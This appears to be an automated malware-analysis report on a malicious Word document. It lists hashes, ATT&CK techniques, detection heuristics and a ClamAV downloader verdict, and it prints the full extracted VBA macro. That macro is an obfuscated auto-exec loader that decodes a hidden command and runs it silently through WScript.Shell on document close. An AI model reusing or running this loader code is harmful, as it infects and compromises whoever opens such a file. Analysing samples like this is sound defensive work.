Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 904285c01b8b7fda…

MALICIOUS

Office (OOXML)

53.3 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-11
MD5: 3df2138116d2fedafb91816cd7167012 SHA-1: d938099905038f767c2492672f489e5e66b8c39c SHA-256: 904285c01b8b7fda39b5ffdad48101a2fb3c2ea82bc47d480383bf11ce926c7c
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate

The sample is a malicious OOXML document containing a VBA macro. The macro uses obfuscated code and calls `WScript.Shell` and `Shell()` to likely download and execute a second-stage payload, as indicated by the 'Obfuscated auto-exec VBA loader' and 'Shell() call in VBA' heuristics. The ClamAV detection 'Doc.Downloader.Powload-6707242-0' further supports its nature as a downloader.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       overfruitful = "WScript.Shell"
   lithely = DateDiff("s", #1/1/1970#, Now())
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "phellems", lyopomata
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If gohila - lithely > 1 Then
       CreateObject(Trim(overfruitful)).Run hypnotizability, 0
       peptids = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  thermistor = Array("b", "g", "d", "B", "l", "L", "a", "9", "a", "U", "d", "B", "B", "O", "", "Q", "Q", "b", "8", "l", "7", "i", "g", "B", "l", "g", "i", "g", "u", "d", "x", "u", "i", "X", "8", "i", "b", "N", "u", "a", "L", "h", "i", "b", "Q", "1", "t", "6", "Q", "B", "a", "8", "9", "L", "O", "d", "O", "E", "x", "B", "b", "l", "n", "5", "l", "5", "a", "B", "4")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2131 bytes
SHA-256: 08ee6a4f068588d5902674905013275958b2136cf5899a758986cd491275f78e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function noncommunicating(thermistor)
  anthophorous = Array("E", "d", "b", "g", "X", "l", "6", "O", "U", "9", "u", "a", "", "t", "7", "L", "5", "8", "1", "h", "Q", "N", "n", "x", "4", "B", "i")
  veery = Array("?", "h", "m", "s", "g", "a", "Y", "p", " ", "x", "i", "e", ":", "N", "z", ".", "b", "r", "A", "c", "/", "n", "=", "u", "f", "t", "o")
  
  axonopus = vbNullString
  
  For Each forecourt In thermistor
    autoanalysis = chiragra(forecourt, anthophorous, UBound(anthophorous))
    If autoanalysis > -1 Then
    axonopus = veery(autoanalysis) & axonopus
    End If
  Next
  
  noncommunicating = StrReverse(axonopus)
  
End Function

Public Function chiragra(unelegantly, syndic, tsarist)
  mugging = 5553
  beatific = 772
  For mugging = 0 To tsarist
    If syndic(mugging) = unelegantly And mugging > -1 Then
     beatific = mugging
    End If
  Next

  If beatific = 772 Then
    beatific = -1
  End If
  
  chiragra = beatific
End Function

Sub AutoClose()
  thermistor = Array("b", "g", "d", "B", "l", "L", "a", "9", "a", "U", "d", "B", "B", "O", "", "Q", "Q", "b", "8", "l", "7", "i", "g", "B", "l", "g", "i", "g", "u", "d", "x", "u", "i", "X", "8", "i", "b", "N", "u", "a", "L", "h", "i", "b", "Q", "1", "t", "6", "Q", "B", "a", "8", "9", "L", "O", "d", "O", "E", "x", "B", "b", "l", "n", "5", "l", "5", "a", "B", "4")
  lyopomata = noncommunicating(thermistor)
  
  Application.Run "phellems", lyopomata
  
End Sub


Private Sub phellems(hypnotizability)
   
   overfruitful = "WScript.Shell"
   lithely = DateDiff("s", #1/1/1970#, Now())
   peptids = True
   
   While peptids
     gohila = lithely + 60
     If gohila - lithely > 1 Then
       CreateObject(Trim(overfruitful)).Run hypnotizability, 0
       peptids = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 53c0f82a6387a392bc3f5453307542e469013a5db884342d106ddcc4aa7b5f76
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: unlikely

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